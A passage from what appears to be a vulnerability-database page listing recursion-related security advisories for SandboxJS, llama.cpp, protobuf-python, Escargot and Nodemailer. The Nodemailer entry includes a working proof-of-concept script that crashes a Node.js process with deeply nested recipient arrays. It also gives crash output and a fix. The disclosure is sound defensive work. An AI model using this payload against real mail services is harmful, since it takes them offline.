IConstants,\n  part: CodeString,\n  expected?: readonly string[],\n  lispTree?: Lisp,\n  topLevel = false,\n  depth: number = 0,         // ADD depth parameter\n): Lisp {\n  if (depth \u003e MAX_PARSE_DEPTH) {\n    throw new ParseError(\u0027Expression nesting depth exceeded\u0027, part.toString());\n  }\n  // ... pass depth + 1 to recursive lispify/lispifyExpr calls ...\n}\n```",
  "id": "GHSA-8pfc-jjgw-6g26",
  "modified": "2026-04-06T23:18:26Z",
  "published": "2026-04-03T21:45:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-8pfc-jjgw-6g26"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34211"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nyariv/SandboxJS"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "SandboxJS: Stack overflow DoS via deeply nested expressions in recursive descent parser"
}

GHSA-8Q78-M7W9-J45M

Vulnerability from github – Published: 2026-09-01 18:30 – Updated: 2026-09-01 21:31
VLAI
Details

llama.cpp b5693 and before is vulnerable to Uncontrolled Recursion in common/json-schema-to-grammar.cpp, resulting in a denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-52130"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-01T18:17:43Z",
    "severity": "HIGH"
  },
  "details": "llama.cpp b5693 and before is vulnerable to Uncontrolled Recursion in common/json-schema-to-grammar.cpp, resulting in a denial of service.",
  "id": "GHSA-8q78-m7w9-j45m",
  "modified": "2026-09-01T21:31:45Z",
  "published": "2026-09-01T18:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-52130"
    },
    {
      "type": "WEB",
      "url": "https://blog.ph4nt0m.xyz/ko/cves/cve-2026-52130"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ggml-org/llama.cpp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QVM-5X2C-J2W7

Vulnerability from github – Published: 2025-06-16 16:02 – Updated: 2025-06-16 16:02
VLAI
Summary
protobuf-python has a potential Denial of Service issue
Details

Summary

Any project that uses Protobuf pure-Python backend to parse untrusted Protocol Buffers data containing an arbitrary number of recursive groups, recursive messages or a series of SGROUP tags can be corrupted by exceeding the Python recursion limit.

Reporter: Alexis Challande, Trail of Bits Ecosystem Security Team ecosystem@trailofbits.com

Affected versions: This issue only affects the pure-Python implementation of protobuf-python backend. This is the implementation when PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python environment variable is set or the default when protobuf is used from Bazel or pure-Python PyPi wheels. CPython PyPi wheels do not use pure-Python by default.

This is a Python variant of a previous issue affecting protobuf-java.

Severity

This is a potential Denial of Service. Parsing nested protobuf data creates unbounded recursions that can be abused by an attacker.

Proof of Concept

For reproduction details, please refer to the unit tests decoder_test.py and message_test

Remediation and Mitigation

A mitigation is available now. Please update to the latest available versions of the following packages: * protobuf-python(4.25.8, 5.29.5, 6.31.1)

Severity
8.2 (High)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.25.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.26.0rc1"
            },
            {
              "fixed": "5.29.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "protobuf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "6.30.0rc1"
            },
            {
              "fixed": "6.31.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-4565"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-16T16:02:58Z",
    "nvd_published_at": "2025-06-16T15:15:24Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAny project that uses Protobuf pure-Python backend to parse untrusted Protocol Buffers data containing an arbitrary number of **recursive groups**, **recursive messages** or **a series of [`SGROUP`](https://protobuf.dev/programming-guides/encoding/#groups) tags** can be corrupted by exceeding the Python recursion limit.\n\nReporter: Alexis Challande, Trail of Bits Ecosystem Security Team\n[ecosystem@trailofbits.com](mailto:ecosystem@trailofbits.com)\n\nAffected versions: This issue only affects the [pure-Python implementation](https://github.com/protocolbuffers/protobuf/tree/main/python#implementation-backends) of protobuf-python backend. This is the implementation when `PROTOCOL_BUFFERS_PYTHON_IMPLEMENTATION=python` environment variable is set or the default when protobuf is used from Bazel or pure-Python PyPi wheels. CPython PyPi wheels do not use pure-Python by default.\n\nThis is a Python variant of a [previous issue affecting protobuf-java](https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8).\n\n### Severity\nThis is a potential Denial of Service. Parsing nested protobuf data creates unbounded recursions that can be abused by an attacker.\n\n### Proof of Concept\nFor reproduction details, please refer to the unit tests [decoder_test.py](https://github.com/protocolbuffers/protobuf/blob/main/python/google/protobuf/internal/decoder_test.py#L87-L98) and [message_test](https://github.com/protocolbuffers/protobuf/blob/main/python/google/protobuf/internal/message_test.py#L1436-L1478)\n\n### Remediation and Mitigation\nA mitigation is available now. Please update to the latest available versions of the following packages:\n* protobuf-python(4.25.8, 5.29.5, 6.31.1)",
  "id": "GHSA-8qvm-5x2c-j2w7",
  "modified": "2025-06-16T16:02:58Z",
  "published": "2025-06-16T16:02:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-8qvm-5x2c-j2w7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4565"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/17838beda2943d08b8a9d4df5b68f5f04f26d901"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/main/python/google/protobuf/internal/decoder_test.py#L87-L98"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/blob/main/python/google/protobuf/internal/message_test.py#L1436-L1478"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/tree/main/python#implementation-backends"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "protobuf-python has a potential Denial of Service issue"
}

GHSA-8R93-F22G-X9VJ

Vulnerability from github – Published: 2026-05-19 09:31 – Updated: 2026-05-19 09:31
VLAI
Details

Uncontrolled Recursion vulnerability in Samsung Open Source Escargot allows Oversized Serialized Data Payloads.

This issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-47309"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T07:16:29Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled Recursion vulnerability in Samsung Open Source Escargot allows Oversized Serialized Data Payloads.\n\nThis issue affects Escargot: 590345cc6258317c5da850d846ce6baaf2afc2d3.",
  "id": "GHSA-8r93-f22g-x9vj",
  "modified": "2026-05-19T09:31:19Z",
  "published": "2026-05-19T09:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47309"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Samsung/escargot/pull/1565"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8VVX-RFF5-P5RQ

Vulnerability from github – Published: 2026-09-29 18:23 – Updated: 2026-09-29 18:23
VLAI
Summary
Nodemailer: Nested structured recipient arrays bypass the parser depth limit and cause stack exhaustion DoS
Details

Submission metadata

Field Value
Ecosystem npm
Package nodemailer
Repository https://github.com/nodemailer/nodemailer
Tested commit 40d52215aac65b811d7e131bc916f68605efd9d2
Current tested version 10.0.1
Confirmed vulnerable versions 2.7.2, 3.0.0, 7.0.11, 9.1.1, 10.0.1
Proposed affected range >= 2.7.2, <= 10.0.1
Patched version 10.0.2

Summary

Nodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as to, cc, and bcc.

The public MimeNodeAddressInput type recursively permits arrays, but MimeNode._parseAddresses() flattens only the outermost array. A remaining nested array is passed to addressparser(), whose Tokenizer coerces the input with .toString(). Native Array.prototype.toString() recursively processes every nested array through join() and toString() until the V8 call stack is exhausted.

A valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes:

RangeError: Maximum call stack size exceeded

The exception occurs through the normal sendMail() API before the maxRecipients limit is evaluated. If the integrating application does not catch the synchronous exception around the complete sendMail() invocation, the Node.js worker or server process terminates.

No SMTP server, remote host, large attachment, or successful email delivery is required.

This is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group strings. This report uses Nodemailer's structured recipient-array input and never reaches the parser's MAX_NESTED_GROUP_DEPTH protection.

Security impact

An attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include:

  • Email-sending HTTP APIs that accept structured recipient values.
  • Notification workers consuming JSON jobs from a queue.
  • Template or automation systems that forward parsed recipient data to sendMail().
  • Multi-tenant applications that allow users to configure message recipients.

When the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable.

Applications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous sendMail() invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs.

Attack prerequisites

The vulnerability is reachable when:

  1. An application accepts attacker-controlled or partially attacker-controlled recipient data.
  2. The application preserves the array structure after parsing JSON.
  3. The resulting value is passed to a Nodemailer recipient field such as to, cc, or bcc.
  4. The application does not impose its own nesting-depth limit before calling Nodemailer.

The proof of concept uses jsonTransport only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to jsonTransport.

Technical details

1. The public input type accepts recursively nested arrays

At src/mime-node/index.ts:67, recipient input is recursively defined:

export type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[];

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67

This permits values equivalent to:

[[[[['victim@example.test']]]]]

2. _parseAddresses() removes only the outermost array

At src/mime-node/index.ts:1359-1385, _parseAddresses() wraps the input with [].concat(addresses) and iterates the resulting outer array:

_parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] {
    const flattened: MimeNodeAddress[] = [];

    ([] as any[]).concat(addresses).forEach(address => {
        if (address && address.address) {
            const normalized = this._normalizeAddress(address.address);
            // ...
            return;
        }

        const parsed = this._normalizeParsedAddresses(addressparser(address));
        for (let i = 0; i < parsed.length; i++) {
            flattened.push(parsed[i]);
        }
    });

    return flattened;
}

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386

For an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy .address property, it is passed directly to addressparser().

3. Tokenizer invokes recursive native array conversion

The Tokenizer constructor performs the following coercion at src/addressparser/index.ts:393:

this.str = (str || '').toString();

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393

When str is an array, this invokes Array.prototype.toString(). Array string conversion invokes join(), which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling:

Array.toString
  -> Array.join
     -> childArray.toString
        -> Array.join
           -> childArray.toString
              -> ...

At sufficient depth, V8 raises RangeError: Maximum call stack size exceeded.

4. The recipient limit is applied too late

Nodemailer's maxRecipients protection is evaluated only after the message envelope has been constructed:

const recipientCount = mail.message.getEnvelope().to.length;

Pinned source:

https://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417

The exception occurs inside getEnvelope(), so maxRecipients cannot prevent this condition.

Vulnerable code path

transporter.sendMail(message)
  -> MailComposer(mail.data).compile()
  -> mail.message.getEnvelope()
  -> MimeNode._parseAddresses(message.to)
  -> addressparser(nestedArray)
  -> new Tokenizer(nestedArray)
  -> nestedArray.toString()
  -> Array.join / Array.toString recursion
  -> RangeError: Maximum call stack size exceeded

Proof of concept

Test environment

Operating system: Windows 11
Node.js: 20.20.2
Nodemailer: 10.0.1
Nodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2
Transport: jsonTransport

Installation

mkdir nodemailer-nested-array-poc
cd nodemailer-nested-array-poc
npm init -y
npm install nodemailer@10.0.1

Create poc.mjs:

import nodemailer from 'nodemailer';

const depth = Number(process.argv[2] || 5000);

// Valid JSON containing one address wrapped in `depth` arrays.
const json =
    '['.repeat(depth) +
    '"victim@example.test"' +
    ']'.repeat(depth);

const recipient = JSON.parse(json);

console.log({
    nodemailerVersion: '10.0.1',
    depth,
    jsonBytes: Buffer.byteLength(json)
});

const transport = nodemailer.createTransport({
    jsonTransport: true
});

await transport.sendMail({
    from: 'sender@example.test',
    to: recipient,
    subject: 'Nested recipient array PoC',
    text: 'test'
});

console.log('sendMail resolved');

Trigger

node poc.mjs 5000

Observed result

{
  nodemailerVersion: '10.0.1',
  depth: 5000,
  jsonBytes: 10021
}

node:internal/modules/run_main:123
    triggerUncaughtException(
    ^

RangeError: Maximum call stack size exceeded
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    at Array.join (<anonymous>)
    at Array.toString (<anonymous>)
    ...

Node.js v20.20.2

The tested process exits with status code 1.

Control case

Running the same code with a nesting depth of 500 succeeds:

node poc.mjs 500

Observed result:

{
  nodemailerVersion: '10.0.1',
  depth: 500,
  jsonBytes: 1021
}

sendMail resolved

The difference between the trigger and control cases is only the nesting depth.

Reproduction notes

  • The exact failure depth is platform and runtime dependent because JavaScript stack limits vary.
  • A depth of 5,000 reliably reproduced the exception in the tested Node.js environment.
  • The payload is generated as JSON and parsed with native JSON.parse() to model data received by an HTTP API or queue worker.
  • No network connection is performed because jsonTransport is used.

Version verification

The proof of concept was executed against several released versions. Each listed version exited with RangeError: Maximum call stack size exceeded at a depth of 5,000:

Nodemailer version Result
2.7.2 Vulnerable
3.0.0 Vulnerable
7.0.11 Vulnerable
9.1.1 Vulnerable
10.0.1 Vulnerable

Version 7.0.11 is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.

The proposed affected range is >= 2.7.2, <= 10.0.1, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.

Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874

The previous advisory used a crafted address string containing nested RFC 5322 groups:

g0: g1: g2: ... victim@example.com;

Its recursive path was:

addressparser(string)
  -> _handleAddress()
  -> addressparser(nested group string)

That issue was mitigated by adding and propagating a parser recursion-depth counter capped by MAX_NESTED_GROUP_DEPTH.

This report instead supplies a structured JSON array through the public recipient input:

MimeNode._parseAddresses(array)
  -> addressparser(array)
  -> Tokenizer
  -> Array.prototype.toString()

The array conversion happens before any RFC 5322 group parsing. Consequently:

  • No sequence of nested group delimiters is required.
  • _handleAddress() is not the source of recursion.
  • The _depth parser option is not incremented.
  • MAX_NESTED_GROUP_DEPTH is never consulted.
  • Releases containing the previous fix remain vulnerable.

Previous advisory:

https://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v

Suggested remediation

Flatten MimeNodeAddressInput values iteratively before passing scalar values to addressparser(). Nested arrays should never be implicitly converted to strings.

For example, the implementation can maintain an explicit work stack:

const pending: unknown[] = [addresses];
const seenArrays = new WeakSet<object>();

while (pending.length) {
    const value = pending.pop();

    if (Array.isArray(value)) {
        if (seenArrays.has(value)) {
            throw new TypeError('Cyclic recipient array');
        }
        seenArrays.add(value);

        for (let i = value.length - 1; i >= 0; i--) {
            pending.push(value[i]);
        }
        continue;
    }

    // Process only scalar strings and structured address objects here.
}

Additional hardening options include:

  1. Reject array nesting above an explicit maximum before any coercion.
  2. Reject unsupported recipient value types instead of passing them to addressparser().
  3. Catch address-normalization exceptions and report them through the normal sendMail() callback or rejected Promise.
  4. Apply input-complexity checks before constructing the envelope and before evaluating maxRecipients.

An iterative implementation is preferable because the public TypeScript type is recursive and indicates that nested array structures are accepted inputs. Cycle detection remains necessary for direct JavaScript callers because cyclic arrays cannot originate from JSON but can be constructed in memory.

Suggested regression tests

The fix should cover:

  1. Deeply nested arrays containing one valid address, completing iteratively or failing with a controlled Nodemailer error.
  2. Nested inputs through to, cc, bcc, replyTo, and explicit envelope fields.
  3. A cyclic JavaScript recipient array.
  4. Ordinary flat strings and arrays, preserving existing behavior.
  5. Arrays containing structured { name, address } objects.
  6. Confirmation that failures reach the callback or rejected Promise instead of escaping the documented error path.
Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "nodemailer"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-29T18:23:50Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Submission metadata\n\n| Field | Value |\n|---|---|\n| Ecosystem | npm |\n| Package | `nodemailer` |\n| Repository | https://github.com/nodemailer/nodemailer |\n| Tested commit | `40d52215aac65b811d7e131bc916f68605efd9d2` |\n| Current tested version | `10.0.1` |\n| Confirmed vulnerable versions | `2.7.2`, `3.0.0`, `7.0.11`, `9.1.1`, `10.0.1` |\n| Proposed affected range | `\u003e= 2.7.2, \u003c= 10.0.1` |\n| Patched version | 10.0.2 |\n\n## Summary\n\nNodemailer 10.0.1 does not safely process deeply nested arrays supplied through recipient fields such as `to`, `cc`, and `bcc`.\n\nThe public `MimeNodeAddressInput` type recursively permits arrays, but `MimeNode._parseAddresses()` flattens only the outermost array. A remaining nested array is passed to `addressparser()`, whose `Tokenizer` coerces the input with `.toString()`. Native `Array.prototype.toString()` recursively processes every nested array through `join()` and `toString()` until the V8 call stack is exhausted.\n\nA valid 10,021-byte JSON recipient value containing one address wrapped in 5,000 arrays causes:\n\n```text\nRangeError: Maximum call stack size exceeded\n```\n\nThe exception occurs through the normal `sendMail()` API before the `maxRecipients` limit is evaluated. If the integrating application does not catch the synchronous exception around the complete `sendMail()` invocation, the Node.js worker or server process terminates.\n\nNo SMTP server, remote host, large attachment, or successful email delivery is required.\n\nThis is distinct from GHSA-rcmh-qjqh-p98v / CVE-2025-14874. The previous vulnerability concerned recursive parsing of RFC 5322 group **strings**. This report uses Nodemailer\u0027s structured recipient-array input and never reaches the parser\u0027s `MAX_NESTED_GROUP_DEPTH` protection.\n\n## Security impact\n\nAn attacker who can control a recipient field passed to Nodemailer can trigger stack exhaustion using a roughly 10 KB JSON value. Potentially affected integrations include:\n\n- Email-sending HTTP APIs that accept structured recipient values.\n- Notification workers consuming JSON jobs from a queue.\n- Template or automation systems that forward parsed recipient data to `sendMail()`.\n- Multi-tenant applications that allow users to configure message recipients.\n\nWhen the exception is not caught, a single request or queue item can terminate the process handling mail. A process manager may restart the worker, but repeated malicious inputs can keep workers in a restart loop and make the service unavailable.\n\nApplications that explicitly validate recipient values as flat strings or flat arrays before calling Nodemailer are not exposed through this path. Applications that wrap the complete synchronous `sendMail()` invocation in exception handling can prevent process termination, although an attacker can still repeatedly force failed jobs.\n\n## Attack prerequisites\n\nThe vulnerability is reachable when:\n\n1. An application accepts attacker-controlled or partially attacker-controlled recipient data.\n2. The application preserves the array structure after parsing JSON.\n3. The resulting value is passed to a Nodemailer recipient field such as `to`, `cc`, or `bcc`.\n4. The application does not impose its own nesting-depth limit before calling Nodemailer.\n\nThe proof of concept uses `jsonTransport` only to avoid requiring an SMTP server. The vulnerable address normalization and envelope construction occur before transport-specific delivery, so the root cause is not limited to `jsonTransport`.\n\n## Technical details\n\n### 1. The public input type accepts recursively nested arrays\n\nAt `src/mime-node/index.ts:67`, recipient input is recursively defined:\n\n```ts\nexport type MimeNodeAddressInput = string | MimeNodeAddress | MimeNodeAddressInput[];\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L67\n\nThis permits values equivalent to:\n\n```js\n[[[[[\u0027victim@example.test\u0027]]]]]\n```\n\n### 2. `_parseAddresses()` removes only the outermost array\n\nAt `src/mime-node/index.ts:1359-1385`, `_parseAddresses()` wraps the input with `[].concat(addresses)` and iterates the resulting outer array:\n\n```ts\n_parseAddresses(addresses: MimeNodeAddressInput | undefined): MimeNodeAddress[] {\n    const flattened: MimeNodeAddress[] = [];\n\n    ([] as any[]).concat(addresses).forEach(address =\u003e {\n        if (address \u0026\u0026 address.address) {\n            const normalized = this._normalizeAddress(address.address);\n            // ...\n            return;\n        }\n\n        const parsed = this._normalizeParsedAddresses(addressparser(address));\n        for (let i = 0; i \u003c parsed.length; i++) {\n            flattened.push(parsed[i]);\n        }\n    });\n\n    return flattened;\n}\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mime-node/index.ts#L1359-L1386\n\nFor an input nested 5,000 levels deep, the callback receives an array nested 4,999 levels deep. Because this value does not have a truthy `.address` property, it is passed directly to `addressparser()`.\n\n### 3. `Tokenizer` invokes recursive native array conversion\n\nThe `Tokenizer` constructor performs the following coercion at `src/addressparser/index.ts:393`:\n\n```ts\nthis.str = (str || \u0027\u0027).toString();\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/addressparser/index.ts#L393\n\nWhen `str` is an array, this invokes `Array.prototype.toString()`. Array string conversion invokes `join()`, which converts every nested element to a string. Deeply nested arrays therefore produce native recursion resembling:\n\n```text\nArray.toString\n  -\u003e Array.join\n     -\u003e childArray.toString\n        -\u003e Array.join\n           -\u003e childArray.toString\n              -\u003e ...\n```\n\nAt sufficient depth, V8 raises `RangeError: Maximum call stack size exceeded`.\n\n### 4. The recipient limit is applied too late\n\nNodemailer\u0027s `maxRecipients` protection is evaluated only after the message envelope has been constructed:\n\n```ts\nconst recipientCount = mail.message.getEnvelope().to.length;\n```\n\nPinned source:\n\nhttps://github.com/nodemailer/nodemailer/blob/40d52215aac65b811d7e131bc916f68605efd9d2/src/mailer/index.ts#L414-L417\n\nThe exception occurs inside `getEnvelope()`, so `maxRecipients` cannot prevent this condition.\n\n## Vulnerable code path\n\n```text\ntransporter.sendMail(message)\n  -\u003e MailComposer(mail.data).compile()\n  -\u003e mail.message.getEnvelope()\n  -\u003e MimeNode._parseAddresses(message.to)\n  -\u003e addressparser(nestedArray)\n  -\u003e new Tokenizer(nestedArray)\n  -\u003e nestedArray.toString()\n  -\u003e Array.join / Array.toString recursion\n  -\u003e RangeError: Maximum call stack size exceeded\n```\n\n## Proof of concept\n\n### Test environment\n\n```text\nOperating system: Windows 11\nNode.js: 20.20.2\nNodemailer: 10.0.1\nNodemailer commit: 40d52215aac65b811d7e131bc916f68605efd9d2\nTransport: jsonTransport\n```\n\n### Installation\n\n```console\nmkdir nodemailer-nested-array-poc\ncd nodemailer-nested-array-poc\nnpm init -y\nnpm install nodemailer@10.0.1\n```\n\nCreate `poc.mjs`:\n\n```js\nimport nodemailer from \u0027nodemailer\u0027;\n\nconst depth = Number(process.argv[2] || 5000);\n\n// Valid JSON containing one address wrapped in `depth` arrays.\nconst json =\n    \u0027[\u0027.repeat(depth) +\n    \u0027\"victim@example.test\"\u0027 +\n    \u0027]\u0027.repeat(depth);\n\nconst recipient = JSON.parse(json);\n\nconsole.log({\n    nodemailerVersion: \u002710.0.1\u0027,\n    depth,\n    jsonBytes: Buffer.byteLength(json)\n});\n\nconst transport = nodemailer.createTransport({\n    jsonTransport: true\n});\n\nawait transport.sendMail({\n    from: \u0027sender@example.test\u0027,\n    to: recipient,\n    subject: \u0027Nested recipient array PoC\u0027,\n    text: \u0027test\u0027\n});\n\nconsole.log(\u0027sendMail resolved\u0027);\n```\n\n### Trigger\n\n```console\nnode poc.mjs 5000\n```\n\n### Observed result\n\n```text\n{\n  nodemailerVersion: \u002710.0.1\u0027,\n  depth: 5000,\n  jsonBytes: 10021\n}\n\nnode:internal/modules/run_main:123\n    triggerUncaughtException(\n    ^\n\nRangeError: Maximum call stack size exceeded\n    at Array.join (\u003canonymous\u003e)\n    at Array.toString (\u003canonymous\u003e)\n    at Array.join (\u003canonymous\u003e)\n    at Array.toString (\u003canonymous\u003e)\n    at Array.join (\u003canonymous\u003e)\n    at Array.toString (\u003canonymous\u003e)\n    ...\n\nNode.js v20.20.2\n```\n\nThe tested process exits with status code `1`.\n\n### Control case\n\nRunning the same code with a nesting depth of 500 succeeds:\n\n```console\nnode poc.mjs 500\n```\n\nObserved result:\n\n```text\n{\n  nodemailerVersion: \u002710.0.1\u0027,\n  depth: 500,\n  jsonBytes: 1021\n}\n\nsendMail resolved\n```\n\nThe difference between the trigger and control cases is only the nesting depth.\n\n### Reproduction notes\n\n- The exact failure depth is platform and runtime dependent because JavaScript stack limits vary.\n- A depth of 5,000 reliably reproduced the exception in the tested Node.js environment.\n- The payload is generated as JSON and parsed with native `JSON.parse()` to model data received by an HTTP API or queue worker.\n- No network connection is performed because `jsonTransport` is used.\n\n## Version verification\n\nThe proof of concept was executed against several released versions. Each listed version exited with `RangeError: Maximum call stack size exceeded` at a depth of 5,000:\n\n| Nodemailer version | Result |\n|---|---|\n| `2.7.2` | Vulnerable |\n| `3.0.0` | Vulnerable |\n| `7.0.11` | Vulnerable |\n| `9.1.1` | Vulnerable |\n| `10.0.1` | Vulnerable |\n\nVersion `7.0.11` is significant because it contains the fix for the previous string-group recursion advisory. Its failure confirms that this report describes a separate surviving path.\n\nThe proposed affected range is `\u003e= 2.7.2, \u003c= 10.0.1`, representing the versions directly confirmed during testing and the continuous vulnerable implementation observed in source history. Earlier releases were not assessed and should not be considered confirmed safe.\n\n## Difference from GHSA-rcmh-qjqh-p98v / CVE-2025-14874\n\nThe previous advisory used a crafted address **string** containing nested RFC 5322 groups:\n\n```text\ng0: g1: g2: ... victim@example.com;\n```\n\nIts recursive path was:\n\n```text\naddressparser(string)\n  -\u003e _handleAddress()\n  -\u003e addressparser(nested group string)\n```\n\nThat issue was mitigated by adding and propagating a parser recursion-depth counter capped by `MAX_NESTED_GROUP_DEPTH`.\n\nThis report instead supplies a structured JSON **array** through the public recipient input:\n\n```text\nMimeNode._parseAddresses(array)\n  -\u003e addressparser(array)\n  -\u003e Tokenizer\n  -\u003e Array.prototype.toString()\n```\n\nThe array conversion happens before any RFC 5322 group parsing. Consequently:\n\n- No sequence of nested group delimiters is required.\n- `_handleAddress()` is not the source of recursion.\n- The `_depth` parser option is not incremented.\n- `MAX_NESTED_GROUP_DEPTH` is never consulted.\n- Releases containing the previous fix remain vulnerable.\n\nPrevious advisory:\n\nhttps://github.com/nodemailer/nodemailer/security/advisories/GHSA-rcmh-qjqh-p98v\n\n## Suggested remediation\n\nFlatten `MimeNodeAddressInput` values iteratively before passing scalar values to `addressparser()`. Nested arrays should never be implicitly converted to strings.\n\nFor example, the implementation can maintain an explicit work stack:\n\n```ts\nconst pending: unknown[] = [addresses];\nconst seenArrays = new WeakSet\u003cobject\u003e();\n\nwhile (pending.length) {\n    const value = pending.pop();\n\n    if (Array.isArray(value)) {\n        if (seenArrays.has(value)) {\n            throw new TypeError(\u0027Cyclic recipient array\u0027);\n        }\n        